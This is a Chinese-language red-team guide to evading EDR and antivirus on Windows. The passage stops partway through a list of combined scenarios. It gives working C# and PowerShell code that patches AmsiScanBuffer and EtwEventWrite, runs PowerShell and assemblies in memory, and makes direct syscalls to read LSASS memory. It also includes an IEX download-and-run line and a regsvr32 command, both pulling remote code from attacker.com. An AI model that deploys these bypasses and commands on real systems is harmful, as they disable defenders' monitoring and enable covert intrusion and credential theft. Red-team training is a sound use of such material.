# Red Team - Bypass EDR/AV
[TOC]
## 核心原理與概念
現代端點偵測與回應 (Endpoint Detection and Response, EDR) 以及防毒軟體 (Antivirus, AV) 仰賴多層次的防禦機制,包括但不限於:
* **檔案簽章與雜湊值比對 (Signature-based Detection):** 針對已知惡意程式碼的靜態特徵(如檔案雜湊值、特定位元組序列)進行比對。
* **行為監控 (Behavioral Monitoring):** 監控程式執行時的行為模式,例如檔案存取、網路連線、程序建立等,以偵測異常或惡意行為。
* **啟發式分析 (Heuristic Analysis):** 透過分析程式碼結構、指令語法等,判斷程式碼是否具有惡意程式的潛在特徵。
* **記憶體掃描 (Memory Scanning):** 定期或即時掃描系統記憶體,尋找惡意程式碼或惡意行為的跡象。
* **應用程式行為監控 (Application Behavior Monitoring):** 針對特定應用程式(如 PowerShell、Office 程式)的行為進行更細緻的監控,以偵測濫用或惡意利用。
* **系統事件追蹤 (Event Tracing for Windows, ETW):** 利用 ETW 機制收集系統事件,供 EDR 進行行為分析和異常偵測。
* **反惡意軟體掃描介面 (Antimalware Scan Interface, AMSI):** Windows 提供的介面,允許安全軟體掃描腳本 (PowerShell, VBScript) 和其他動態內容,以預防惡意程式碼執行。
紅隊行動中,繞過 EDR/AV 的目標是降低上述偵測機制的有效性,以便在目標系統上執行惡意操作而不被發現。以下詳細闡述各項核心原理:
- **記憶體執行 (In-Memory Execution)**:
- **原理:** 惡意程式碼不以檔案形式儲存於磁碟,而是直接載入到記憶體中執行。這可以繞過基於檔案簽章或雜湊值的靜態偵測。由於多數傳統防毒軟體仍側重於檔案系統的掃描,記憶體執行能有效規避此類偵測。
- **優勢:** 降低靜態偵測機率,減少磁碟足跡,增加隱蔽性。
- **相關技術:** 反射式 Assembly 載入、Runspace 技術、shellcode 注入等。
- **AMSI (Antimalware Scan Interface) 繞過**:
- **原理:** AMSI 是 Windows 內建的安全介面,用於掃描 PowerShell 腳本、VBScript、JavaScript 以及其他動態內容。繞過 AMSI 的目標是阻止其掃描惡意腳本,使惡意程式碼能順利執行而不被攔截。
- **方法:** 修改 AMSI 相關函數(如 `AmsiScanBuffer`)的行為,使其永遠返回掃描成功的結果;或透過反射修改 AMSI 內部狀態,使其失效。
- **影響:** 成功繞過 AMSI 後,惡意 PowerShell 指令碼和腳本可以在系統上執行,而不會被 AMSI 攔截。
- **ETW (Event Tracing for Windows) 繞過**:
- **原理:** ETW 是 Windows 核心提供的事件追蹤機制,EDR 系統常利用 ETW 收集系統事件,進行行為監控和異常偵測。繞過 ETW 的目的是阻止關鍵事件被記錄,從而降低行為偵測的風險。
- **方法:** Hook 或 Patch `EtwEventWrite` 等關鍵 ETW API 函數,使其無法正常寫入事件;或直接禁用 ETW Provider。
- **影響:** 若成功繞過 ETW,EDR 將無法收集到某些關鍵的系統行為事件,例如程序建立、網路連線、檔案操作等,降低行為監控的有效性。
- **Runspace 技術與 PowerShell 內嵌 (PowerShell Embedding)**:
- **原理:** 傳統的 PowerShell 執行通常透過 `powershell.exe` 程序。EDR 系統可能會針對 `powershell.exe` 的行為進行重點監控。Runspace 技術允許在自訂的 C# 或其他 .NET 應用程式中,直接載入 PowerShell 運行環境 (Runspace),並在記憶體中執行 PowerShell 指令碼,無需啟動 `powershell.exe` 程序。
- **優勢:** 繞過針對 `powershell.exe` 程序的監控,降低被偵測的機率。
- **應用:** 可用於執行 PowerShell 工具 (PowerView, Mimikatz.ps1 等) 而不觸發基於 `powershell.exe` 的告警。
- **反射式 Assembly 載入 (Reflective Assembly Loading)**:
- **原理:** .NET Framework 的 Assembly (程式集) 通常以 DLL 或 EXE 檔案形式存在。反射式載入技術允許將已編譯的 .NET Assembly (例如 Rubeus.exe, SharpHound.exe) 以 byte array 的形式讀取到記憶體中,然後透過 .NET 反射機制動態載入並執行 Assembly 中的程式碼,而無需將 Assembly 檔案寫入磁碟。
- **優勢:** 完全在記憶體中載入和執行程式碼,避免檔案落地,繞過基於檔案的靜態偵測。
- **應用:** 用於載入和執行已知可能被防毒軟體標記的工具,如滲透測試工具、後滲透工具等。
- **Syscall 直接呼叫 (Direct System Call)**:
- **原理:** Windows API 的呼叫流程通常是:應用程式呼叫 Win32 API (user32.dll, kernel32.dll 等) -> Win32 API 轉調 Ntdll.dll 中的 Stub 函數 -> Stub 函數執行 `syscall` 指令,切換到核心模式,調用 Ring 0 層級的系統服務例程。EDR 系統常會在 Ntdll.dll 中的 Stub 函數上設置 Hook,監控 API 呼叫行為。Syscall 直接呼叫技術繞過 Ntdll.dll,直接執行 `syscall` 指令,調用系統服務例程,從而避開 Ntdll Hook。
- **優勢:** 繞過基於 Ntdll.dll API Hook 的行為監控,提高隱蔽性。
- **工具:** SysWhispers2, InlineSyscall 等工具可以輔助生成 Syscall 程式碼。
- **程式碼混淆與字串加密 (Obfuscation & String Encryption)**:
- **原理:** 程式碼混淆旨在降低程式碼的可讀性和可分析性,使靜態分析和特徵碼偵測更加困難。字串加密則針對程式碼中可能包含敏感字串(如指令、URL、檔案路徑)進行加密,避免這些字串被靜態掃描偵測到。
- **方法:** 使用程式碼混淆工具 (ConfuserEx 等);手動或自動化地對字串進行加密 (XOR, AES, Base64 等),並在執行時動態解密。
- **目標:** 降低靜態特徵匹配度,增加逆向工程的難度,延緩或避免被基於簽章或啟發式分析的偵測。
- **LoLBins (Living-off-the-Land Binaries)**:
- **原理:** 利用系統內建的、合法的、已簽名的可執行檔 (如 `rundll32.exe`, `regsvr32.exe`, `mshta.exe`, `wmic.exe`, `powershell.exe`, `MSBuild.exe` 等) 來執行惡意程式碼。由於這些程式本身是系統組件,通常會被列入白名單,或較少被 EDR 系統重點監控。
- **優勢:** 利用合法程序執行惡意操作,偽裝成正常系統行為,降低被偵測的機率。
- **應用:** 使用 LoLBins 執行惡意腳本、載入惡意 DLL、執行惡意 Assembly 等。
---
## 攻擊手法與使用場景詳解
### 1. AMSI 繞過技術 (AMSI Bypass)
**原理深入**:
AMSI (Antimalware Scan Interface) 在 Windows 系統中扮演著關鍵的腳本安全掃描角色。它主要攔截並掃描以下類型的內容:
* **PowerShell 指令碼** (Scriptblock 內容)
* **VBScript 程式碼**
* **JavaScript 程式碼** (在特定情境下)
* **動態載入的 DLL 內容** (部分情境)
AMSI 的核心運作機制依賴於 `amsi.dll` 這個動態連結函式庫。當應用程式 (例如 PowerShell) 嘗試執行腳本時,會呼叫 `amsi.dll` 中的 `AmsiScanBuffer` 或 `AmsiScanString` 函數,將待掃描的內容傳遞給 AMSI 提供者 (通常是防毒軟體)。AMSI 提供者會對內容進行掃描,並返回掃描結果 (是否為惡意)。如果 AMSI 判斷為惡意,則應用程式會被阻止執行。
AMSI 繞過的目標就是干擾或禁用 AMSI 的掃描流程,使其無法正常檢測惡意內容。常見的繞過手法包括:
1. **Patch `AmsiScanBuffer` 函數:** 修改 `amsi.dll` 記憶體中 `AmsiScanBuffer` 函數的指令碼,使其直接返回掃描成功的結果 (例如,將函數開頭的指令碼改為 `xor eax, eax; ret`)。這樣,無論傳入什麼內容,`AmsiScanBuffer` 都會聲稱掃描通過。
2. **反射修改 `amsiInitFailed` 變數:** `amsi.dll` 內部有一個靜態變數 `amsiInitFailed`,用於標記 AMSI 初始化是否失敗。如果將 `amsiInitFailed` 設置為 `true`,則 AMSI 將被禁用。透過 .NET 反射機制,可以修改這個變數的值,達到禁用 AMSI 的效果。
**示例 (PowerShell 指令) - 反射修改 `amsiInitFailed`**:
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') |
ForEach-Object {
$_.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
}
```
**C# 繞過範例 (Pseudo Code) - Patch `AmsiScanBuffer`**:
```csharp
using System;
using System.Reflection;
using System.Runtime.InteropServices;
class AmsiBypass
{
[DllImport("kernel32")]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
private static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, UIntPtr dwSizeToProtect, uint flNewProtect, out uint lpflOldProtect); // 修正 VirtualProtect 簽名
public static bool PatchAmsiScanBuffer()
{
IntPtr amsi = LoadLibrary("amsi.dll");
if (amsi == IntPtr.Zero) return false; // 載入失敗處理
IntPtr AmsiScanBufferAddr = GetProcAddress(amsi, "AmsiScanBuffer");
if (AmsiScanBufferAddr == IntPtr.Zero) return false; // 函數地址獲取失敗處理
uint oldProtect = 0;
UIntPtr patchSize = new UIntPtr(5); // Patch 的大小 (通常為 5 bytes 或以上)
if (!VirtualProtect(AmsiScanBufferAddr, patchSize, 0x40 /*PAGE_EXECUTE_READWRITE*/, out oldProtect)) return false; // 修改權限失敗處理
// Patch: xor eax, eax; ret (將 AmsiScanBuffer 的返回值設為 0,表示掃描通過)
byte[] patch = { 0x31, 0xC0, 0xC3 };
Marshal.Copy(patch, 0, AmsiScanBufferAddr, patch.Length);
if (!VirtualProtect(AmsiScanBufferAddr, patchSize, oldProtect, out oldProtect)) return false; // 恢復權限失敗處理
return true; // Patch 成功
}
}
```
**使用場景**:
* 在執行惡意 PowerShell 腳本 (如 Mimikatz.ps1, Invoke-BloodHound.ps1, PowerSploit 工具包) 之前,先執行 AMSI 繞過程式碼,確保腳本能順利執行而不被 AMSI 攔截。
* 當需要在目標系統上使用 PowerShell 進行滲透測試或後滲透操作,但目標系統啟用了 AMSI 保護時。
**注意事項**:
* AMSI 繞過技術並非萬能,某些 EDR 系統可能具有更 advanced 的 AMSI 監控機制,或者結合其他行為監控手段,仍然可以偵測到惡意行為。
* 繞過 AMSI 後,仍然可能被其他層次的防禦機制 (如行為監控、啟發式分析) 偵測到。
### 2. ETW (Event Tracing for Windows) 繞過 (ETW Bypass)
**原理深入**:
ETW (Event Tracing for Windows) 是 Windows 作業系統內建的高效能事件追蹤系統。它允許系統組件和應用程式發出 (publish) 事件,並允許訂閱者 (subscriber) 接收和處理這些事件。EDR 系統廣泛使用 ETW 來收集系統事件,進行行為分析和異常偵測。
EDR 系統通常會訂閱以下類型的 ETW Provider 和事件:
* **Microsoft-Windows-Kernel-Process:** 程序建立、程序結束、線程建立、線程結束等事件。
* **Microsoft-Windows-Kernel-File:** 檔案建立、檔案刪除、檔案讀寫、檔案重新命名等事件。
* **Microsoft-Windows-Kernel-Registry:** 登錄檔建立、登錄檔刪除、登錄檔修改等事件。
* **Microsoft-Windows-Networking-TCPIP:** 網路連線建立、網路連線關閉、網路資料傳輸等事件。
* **Microsoft-Windows-Security-Auditing:** 安全審計事件,例如登入成功/失敗、權限變更等。
`EtwEventWrite` 函數是核心的 ETW 事件寫入 API。當系統組件或應用程式需要發出 ETW 事件時,最終都會調用 `EtwEventWrite` 函數 (或其相關變體)。
ETW 繞過的目標是阻止或干擾 ETW 事件的寫入,使 EDR 系統無法收集到關鍵的系統行為事件。常見的繞過手法包括:
1. **Patch `EtwEventWrite` 函數:** 修改 `ntdll.dll` 記憶體中 `EtwEventWrite` 函數的指令碼,使其直接返回,阻止事件寫入。
2. **Hook `EtwEventWrite` 函數:** 透過 Hook 技術 (例如 IAT Hooking, Inline Hooking) 攔截對 `EtwEventWrite` 的調用,並在 Hook 函數中決定是否允許事件寫入,或者修改事件內容。
3. **禁用 ETW Provider:** 透過 API 或工具禁用特定的 ETW Provider,阻止該 Provider 發出的所有事件被記錄。
**C# 代碼概念 - Patch `EtwEventWrite`**:
```csharp=
using System;
using System.Runtime.InteropServices;
class EtwBypass
{
[DllImport("kernel32.dll", SetLastError=true, CharSet = CharSet.Ansi)]
static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll", SetLastError=true, CharSet = CharSet.Ansi)]
static extern IntPtr LoadLibraryA(string lpFileName); // 使用 LoadLibraryA 以確保 ANSI 字串
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static bool PatchETW()
{
IntPtr ntdll = LoadLibraryA("ntdll.dll"); // 使用 LoadLibraryA
if (ntdll == IntPtr.Zero) return false;
IntPtr etwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
if (etwEventWrite == IntPtr.Zero) return false;
uint oldProtect = 0;
UIntPtr patchSize = new UIntPtr(1); // Patch 大小為 1 byte (ret 指令)
if (!VirtualProtect(etwEventWrite, patchSize, 0x40, out oldProtect)) return false;
// Patch: ret (使 EtwEventWrite 直接返回)
byte[] patch = { 0xC3 };
Marshal.Copy(patch, 0, etwEventWrite, patch.Length);
if (!VirtualProtect(etwEventWrite, patchSize, oldProtect, out oldProtect)) return false;
return true;
}
}
```
**使用場景**:
* 在執行高風險操作之前,例如:
* **程式碼注入 (Process Injection)**:注入 shellcode 或 DLL 到其他進程。
* **LSASS 記憶體讀取**:讀取 LSASS 進程記憶體以獲取憑證。
* **反射式載入惡意工具**:載入並執行 Rubeus, SharpHound 等工具。
* **權限提升 (Privilege Escalation)**:嘗試提權操作。
* 禁用 ETW 事件追蹤可以降低這些操作被 EDR 即時行為監控發現的機率。
**注意事項**:
* ETW 繞過會顯著降低 EDR 系統的行為監控能力,但並非完全隱形。某些 EDR 系統可能具有其他監控機制,例如核心層級的 Hook, user-mode Hook, 或基於硬體的監控等。
* 禁用 ETW 也可能引起告警,因為系統事件記錄的異常中斷本身可能被視為可疑行為。
### 3. PowerShell Runspace 技術 (In-Memory PowerShell)
**原理深入**:
傳統的 PowerShell 執行通常透過 `powershell.exe` 程序啟動。EDR 系統會針對 `powershell.exe` 的行為進行重點監控,包括:
* **程序啟動參數監控:** 監控 `powershell.exe` 的啟動參數,例如 `-EncodedCommand`, `-Command`, `-File` 等,以偵測惡意指令或腳本。
* **PowerShell 指令碼內容監控:** 透過 AMSI 或其他機制掃描 PowerShell 指令碼內容。
* **PowerShell 行為監控:** 監控 `powershell.exe` 進程的行為,例如網路連線、檔案存取、系統 API 調用等。
PowerShell Runspace 技術允許在自訂的 .NET 應用程式中,直接載入 PowerShell 運行環境 (Runspace),並在記憶體中執行 PowerShell 指令碼,無需啟動 `powershell.exe` 程序。這可以繞過針對 `powershell.exe` 的監控。
**示例 (C# Pseudo Code)**:
```csharp
using System.Management.Automation;
using System.Management.Automation.Runspaces;
class RunspaceExample
{
public static void ExecutePowerShellScript(string script)
{
// 1. 建立 Runspace 環境
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
// 2. 創建 PowerShell 物件並設定 Runspace
using (PowerShell ps = PowerShell.Create())
{
ps.Runspace = runspace;
// 3. 添加 PowerShell 指令碼
ps.AddScript(script);
// 4. 執行 PowerShell 指令碼
ps.Invoke();
}
// 5. 關閉 Runspace
runspace.Close();
}
}
```
**使用場景**:
* 需要在目標系統上使用 PowerShell 工具 (如 PowerView, SharpView, Mimikatz.ps1, PowerSploit 工具包) 進行滲透測試或後滲透操作,但又不想直接執行 `powershell.exe`,以降低被偵測的風險。
* 將 PowerShell 工具 (例如 PowerView.ps1) 內嵌到 C# 程式中,透過 Runspace 技術在記憶體中執行,避免檔案落地和 `powershell.exe` 程序啟動。
**整合 AMSI 繞過示例**:
```csharp=
// 先繞過 AMSI
if (AmsiBypass.PatchAmsiScanBuffer())
{
Console.WriteLine("[+] AMSI bypassed successfully!");
// 執行 PowerView 腳本 (假設 PowerView.ps1 已下載到本地或從網路下載)
string powerViewScript = "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/PowerView.ps1'); Get-NetDomain";
RunspaceExample.ExecutePowerShellScript(powerViewScript);
}
else
{
Console.WriteLine("[-] AMSI bypass failed!");
}
```
**注意事項**:
* 即使使用 Runspace 技術,PowerShell 指令碼內容本身仍然可能被基於行為的監控或啟發式分析偵測到。
* 某些 EDR 系統可能會監控 .NET 應用程式中 Runspace 的創建和使用,以偵測惡意行為。
### 4. 反射式 Assembly 載入 (Reflective Assembly Loading)
**原理深入**:
.NET Framework 的 Assembly (程式集) 通常以 DLL 或 EXE 檔案形式存在於磁碟上。傳統的程式載入方式是透過 Windows Loader 將 Assembly 檔案從磁碟讀取到記憶體中。反射式 Assembly 載入則繞過了檔案讀取步驟,直接從記憶體中的 byte array 載入 Assembly。
.NET Framework 提供了 `System.Reflection.Assembly.Load(byte[])` 方法,允許從 byte array 載入 Assembly。反射式載入的步驟通常如下:
1. **將 Assembly 檔案 (例如 Rubeus.exe) 讀取為 byte array:** 可以使用 `File.ReadAllBytes()` 方法從磁碟讀取,或者從網路下載,或者直接將 Assembly 的 byte array 硬編碼到程式碼中。
2. **使用 `Assembly.Load(byte[])` 方法載入 Assembly:** 將 byte array 作為參數傳遞給 `Assembly.Load()` 方法,即可在記憶體中載入 Assembly。
3. **透過反射機制執行 Assembly 中的程式碼:** 使用 `Assembly.EntryPoint.Invoke()` 方法調用 Assembly 的入口點函數 (通常是 `Main` 函數),即可執行 Assembly 中的程式碼。
**C# 程式碼範例**:
```csharp
using System;
using System.IO;
using System.Reflection;
class ReflectiveLoad
{
public static void LoadAndExecuteAssembly(string assemblyPath, string[] args)
{
try
{
// 1. 從檔案讀取 Assembly byte array
byte[] asmBytes = File.ReadAllBytes(assemblyPath);
// 2. 反射式載入 Assembly
Assembly asm = Assembly.Load(asmBytes);
// 3. 執行 Assembly 入口點 (Main 函數)
if (asm.EntryPoint != null)
{
asm.EntryPoint.Invoke(null, new object[] { args }); // 傳遞命令行參數
}
else
{
Console.WriteLine("[-] Assembly entry point not found.");
}
}
catch (Exception ex)
{
Console.WriteLine($"[-] Error loading or executing assembly: {ex.Message}");
}
}
}
```
**使用場景**:
* 需要執行已知可能被防毒軟體標記的滲透測試工具 (如 Rubeus, SharpHound, Seatbelt, Mimikatz.NET 等),但又不想將這些工具的 EXE/DLL 檔案寫入磁碟,以避免基於檔案的靜態偵測。
* 將工具的 Assembly byte array 內嵌到 Loader 程式中,透過反射式載入在記憶體中執行,實現無檔案執行。
**注意事項**:
* 反射式載入主要繞過基於檔案的靜態偵測。Assembly 在記憶體中執行時,仍然可能被基於行為的監控或記憶體掃描偵測到。
* 某些 EDR 系統可能會監控 .NET 應用程式中 `Assembly.Load(byte[])` 的使用,以偵測反射式載入行為。
### 5. Syscall 直接呼叫 (Direct System Call)
**原理深入**:
Windows API 呼叫流程中,Ntdll.dll 扮演著關鍵的角色。許多 Win32 API (例如 `CreateProcess`, `VirtualAlloc`, `WriteProcessMemory`, `NtReadVirtualMemory` 等) 在 user-mode 的實現實際上是 Ntdll.dll 中的 Stub 函數。這些 Stub 函數負責將 API 呼叫轉換為系統呼叫 (System Call),並透過 `syscall` 指令切換到核心模式,調用 Ring 0 層級的系統服務例程。
EDR 系統經常會在 Ntdll.dll 中的 Stub 函數上設置 Hook,監控應用程式的 API 呼叫行為。例如,Hook `NtCreateProcessEx` 可以監控程序創建,Hook `NtAllocateVirtualMemory` 和 `NtWriteVirtualMemory` 可以監控記憶體分配和寫入,Hook `NtReadVirtualMemory` 可以監控記憶體讀取等。
Syscall 直接呼叫技術繞過 Ntdll.dll 中的 Stub 函數,直接執行 `syscall` 指令,調用系統服務例程。這樣可以避開 EDR 系統在 Ntdll.dll 上設置的 Hook,降低被偵測的機率。
**使用範例**:
1. **使用 SysWhispers2 或 InlineSyscall 等工具生成 Syscall 程式碼:** 這些工具可以根據指定的 Windows API 名稱,生成對應的 Syscall 程式碼 (C/C++/C#)。生成的程式碼通常包含:
* 系統呼叫號碼 (System Call Number)
* 函數簽名 (Function Signature)
* 內聯彙編 (Inline Assembly) 或其他方式執行 `syscall` 指令
2. **在 C# 程式中 Include 生成的 Syscall Wrapper 函數:** 將生成的 Syscall Wrapper 函數 (例如 `NtReadVirtualMemory_Syscall`) 引入到 C# 程式中。
3. **使用 Syscall Wrapper 函數代替傳統的 Win32 API 呼叫:** 在需要執行敏感操作時,調用 Syscall Wrapper 函數,而不是直接調用 Win32 API (例如 `ReadProcessMemory`)。
**C# 程式碼範例 (假設已生成 `NtReadVirtualMemory_Syscall` 函數)**:
```csharp=
using System;
using System.Runtime.InteropServices;
class SyscallExample
{
// 假設 SysWhispers2 已產生 NtReadVirtualMemory 的 Syscall Wrapper
// [DllImport("...")] // 根據 SysWhispers2 的輸出,可能需要 DllImport 或其他聲明
// static extern UInt32 NtReadVirtualMemory_Syscall(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, UInt32 NumberOfBytesToRead, out UInt32 NumberOfBytesRead);
// ^^^ 需要根據 SysWhispers2 的輸出修改函數聲明 ^^^
// 實際使用時,需要將 SysWhispers2 生成的程式碼加入到專案中,並正確聲明 NtReadVirtualMemory_Syscall 函數
public static byte[] ReadProcessMemorySyscall(IntPtr hProcess, IntPtr address, int length)
{
byte[] buffer = new byte[length];
UInt32 bytesRead = 0; // 使用 UInt32 類型
// 呼叫直接使用 syscall 的函數,而非透過 Ntdll stub
// 注意:這裡需要根據實際 SysWhispers2 生成的函數聲明進行調整
// 假設生成的函數返回 NTSTATUS,需要檢查返回值判斷是否成功
UInt32 status = NtReadVirtualMemory_Syscall(hProcess, address, Marshal.UnsafeAddrOfPinnedArrayElement(buffer, 0), (UInt32)length, out bytesRead);
if (status != 0) // 假設 0 代表成功 (NTSTATUS_SUCCESS)
{
Console.WriteLine($"[-] NtReadVirtualMemory_Syscall failed with status: 0x{status:X}");
return null; // 處理錯誤情況
}
return buffer;
}
}
```
**使用場景**:
* 在進行敏感操作時,例如:
* **Token 盜用 (Token Impersonation/Stealing)**
* **程序注入 (Process Injection)**
* **LSASS 記憶體讀取 (LSASS Memory Dumping)**
* **特權操作 (Privileged Operations)**
* 使用 Syscall 技術可以繞過基於 Ntdll API Hook 的 EDR 監控,提高操作的隱蔽性。
**注意事項**:
* Syscall 直接呼叫技術相對複雜,需要處理系統呼叫號碼的穩定性問題 (系統呼叫號碼可能在不同 Windows 版本之間發生變化)。SysWhispers2 等工具可以部分解決這個問題。
* 某些 EDR 系統可能會監控異常的 Syscall 行為,例如應用程式直接執行 `syscall` 指令,而不是透過 Ntdll API 呼叫。
* Syscall 技術並非完全隱形,仍然可能被其他更底層的監控機制偵測到。
### 6. 程式碼混淆與字串加密 (Obfuscation & String Encryption)
**原理深入**:
程式碼混淆和字串加密是常見的程式碼保護技術,也常被用於繞過基於靜態分析和特徵碼偵測的 EDR/AV 系統。
**程式碼混淆 (Obfuscation)** 的目標是使程式碼難以理解和分析,但保持程式碼的功能不變。常見的混淆技術包括:
* **控制流混淆 (Control Flow Obfuscation):** 修改程式碼的控制流結構,例如插入無用的條件判斷、循環、goto 語句,使程式碼執行流程更加複雜。
* **數據流混淆 (Data Flow Obfuscation):** 修改程式碼的數據流,例如將變數拆分為多個部分、使用複雜的運算替代簡單的運算、使用不透明謂詞等,使數據的流向更加模糊。
* **佈局混淆 (Layout Obfuscation):** 移除程式碼中的註解、空白、格式化,將變數、函數、類別名稱替換為無意義的隨機字串,降低程式碼的可讀性。
* **虛假程式碼插入 (Dummy Code Insertion):** 在程式碼中插入不影響程式功能但可以迷惑分析工具的虛假程式碼。
**字串加密 (String Encryption)** 的目標是保護程式碼中的敏感字串,例如指令、URL、檔案路徑、API 名稱等,避免這些字串被靜態掃描偵測到。常見的字串加密方法包括:
* **簡單加密:** 例如 XOR 加密、Base64 編碼等。
* **對稱加密:** 例如 AES, DES 等。
* **非對稱加密:** 例如 RSA, ECC 等 (較少用於字串加密,因為效能較低)。
字串加密通常需要在程式執行時進行解密,才能正常使用。解密邏輯本身也可能需要進行混淆處理。
**工具**:
* **ConfuserEx:** 一個開源的 .NET 程式碼混淆工具,可以對 C# 程式進行混淆、壓縮、加密等處理。
* **商業混淆工具:** 例如 Dotfuscator, Eazfuscator.NET 等。
* **自製混淆工具/腳本:** 可以使用程式碼或腳本 (例如 Python) 實現簡單的混淆和字串加密功能。
**C# 程式碼範例 - 字串解密**:
```csharp=
using System;
using System.Text;
class StringObfuscation
{
// 簡化的 XOR 解密函數
static string DecryptString(string encryptedStr, byte key)
{
byte[] encryptedBytes = Convert.FromBase64String(encryptedStr);
byte[] decryptedBytes = new byte[encryptedBytes.Length];
for (int i = 0; i < encryptedBytes.Length; i++)
{
decryptedBytes[i] = (byte)(encryptedBytes[i] ^ key); // XOR 解密
}
return Encoding.UTF8.GetString(decryptedBytes);
}
public static void RunTool()
{
// 加密的 PowerShell 指令碼 (Base64 編碼 + XOR 加密)
string encCmd = "BASE64ENCODED_XOR_ENCRYPTED_POWERSHELL_COMMAND";
byte decryptionKey = 0xAA; // 解密金鑰
// 動態解密指令碼
string realCmd = DecryptString(encCmd, decryptionKey);
Console.WriteLine($"[+] Decrypted command: {realCmd}");
// 執行解密後的指令碼 (例如使用 Runspace 技術)
RunspaceExample.ExecutePowerShellScript(realCmd);
}
}
```
**使用場景**:
* 當已知目標環境的 EDR/AV 系統對明文的惡意工具有簽章偵測時,可以使用程式碼混淆和字串加密技術,降低特徵匹配度,減少被靜態偵測的機率。
* 對於需要硬編碼到程式碼中的敏感字串 (例如 C2 伺服器地址、API 金鑰等),可以使用字串加密進行保護,防止洩露。
**注意事項**:
* 程式碼混淆和字串加密主要目的是延緩或增加靜態分析的難度,但並不能完全阻止逆向工程和行為分析。
* 過度複雜的混淆可能會影響程式的效能,並且可能增加開發和維護的難度。
* 某些 EDR 系統可能會針對常見的混淆模式或解密邏輯進行偵測。
### 7. LoLBins (Living-off-the-Land Binaries)
**原理深入**:
LoLBins (Living-off-the-Land Binaries) 指的是 Windows 系統內建的、合法的、已簽名的可執行檔,攻擊者可以利用這些工具來執行惡意操作,以偽裝成正常的系統行為,繞過或降低 EDR/AV 的偵測。
LoLBins 的優勢在於:
* **合法性:** 這些工具是系統組件,本身是合法的,不會被防毒軟體直接標記為惡意。
* **已簽名:** 通常具有合法的數位簽章,可以繞過基於數位簽章的驗證機制。
* **常用性:** 某些 LoLBins 是系統管理員常用的工具,其正常使用行為與惡意使用行為可能難以區分。
* **多功能性:** 許多 LoLBins 具有豐富的功能,可以用於執行各種惡意操作,例如程式執行、檔案操作、網路連線、權限提升等。
常見的 LoLBins 工具包括:
* **`rundll32.exe`:** 用於執行 DLL 檔案中的導出函數。可用於執行惡意 DLL payload。
* **`regsvr32.exe`:** 用於註冊和反註冊 COM 組件。可用於執行惡意 COM 組件或 SCT 檔案。
* **`mshta.exe`:** Microsoft HTML 應用程式主機。可用於執行 HTML 應用程式 (.hta 檔案) 或遠端 HTML 程式碼。
* **`wmic.exe`:** Windows Management Instrumentation Command-line。可用於執行 WMI 命令,包括程式執行、系統管理等。
* **`powershell.exe`:** PowerShell 命令行介面。雖然 `powershell.exe` 本身可能被監控,但合法的系統管理任務也可能使用 PowerShell。
* **`MSBuild.exe`:** Microsoft Build Engine。可用於編譯和執行 .NET 專案檔案 (.csproj)。可用於執行惡意 C# 程式碼。
* **`InstallUtil.exe`:** .NET Framework 安裝工具。可用於執行惡意 .NET Assembly。
* **`csc.exe`:** C# 編譯器。可用於編譯 C# 程式碼並執行。
* **`ftp.exe`, `tftp.exe`:** 檔案傳輸工具。可用於下載或上傳惡意檔案。
* **`certutil.exe`:** 憑證管理工具。可用於下載檔案、編碼/解碼檔案等。
**範例 - 使用 `regsvr32.exe` 執行遠端 SCT 檔案**:
```powershell
regsvr32 /u /n /s /i:http://attacker.com/file.sct scrobj.dll
```
* `/u`: 反註冊 COM 組件 (scrobj.dll)。
* `/n`: 不調用 DllRegisterServer 函數。
* `/s`: 靜默執行,不顯示訊息框。
* `/i:http://attacker.com/file.sct`: 指定要執行的 SCT 檔案 URL。
* `scrobj.dll`: Script Component Runtime DLL,用於執行 SCT 檔案。
這個命令會使用 `regsvr32.exe` 程序,從 `http://attacker.com/file.sct` 下載 SCT 檔案,並使用 `scrobj.dll` 執行其中的惡意程式碼。由於 `regsvr32.exe` 是系統合法工具,可能降低被偵測的機率。
**使用場景**:
* 當已滲透到目標系統,需要在系統上執行惡意 Payload,但又希望保持低調,避免觸發 EDR/AV 告警時,可以使用 LoLBins 來執行惡意程式碼。
* 利用 LoLBins 執行惡意腳本、載入惡意 DLL、執行惡意 Assembly、進行系統管理操作等。
**注意事項**:
* 雖然 LoLBins 本身是合法工具,但其惡意使用行為仍然可能被 EDR 系統偵測到。EDR 系統可能會監控 LoLBins 的命令行參數、執行行為、網路連線等,以判斷是否為惡意使用。
* 過度濫用 LoLBins 也可能引起告警,因為異常頻繁或異常方式使用系統工具本身也可能被視為可疑行為。
---
## 綜合示例場景
以下是一些綜合利用多種繞過技術的示例場景:
1. **AMSI & ETW Bypass + Runspace 整合**:
* **目標:** 在目標系統上執行 PowerView.ps1 腳本,收集 Active Directory 資訊,並分析攻擊路徑,同時盡可能繞過 EDR 偵測。
* **技術組合:**
* **AMSI Bypass:** 在 C# Loader 程式碼中,首先使用 P/Invoke 技術 Patch `amsi.dll` 中的 `AmsiScanBuffer` 函數,繞過 AMSI 掃描。
* **ETW Bypass:** 同時 Patch `ntdll.dll` 中的 `EtwEventWrite` 函數,禁用 ETW 事件追蹤。
* **Runspace 技術:** 使用 Runspace 技術在 C# 程式碼中直接執行 PowerView.ps1 腳本,避免啟動 `powershell.exe` 程序。
* **執行流程:**
* 執行 C# Loader 程式。
* Loader 程式首先執行 AMSI Bypass 和 ETW Bypass。
* Loader 程式使用 Runspace 技術載入 PowerView.ps1 腳本 (可以從本地檔案讀取或從網路下載)。
* Loader 程式執行 PowerView.ps1 腳本,收集 AD 資訊。
* Loader 程式將收集到的資訊輸出或回傳給攻擊者。
* **優勢:** 綜合利用 AMSI Bypass, ETW Bypass 和 Runspace 技術,可以有效降低被基於腳本掃描、行為監控和 `powershell.exe` 程序監控的 EDR 系統偵測到的機率。
2. **Reflective Assembly + Syscall + 程式碼混淆**:
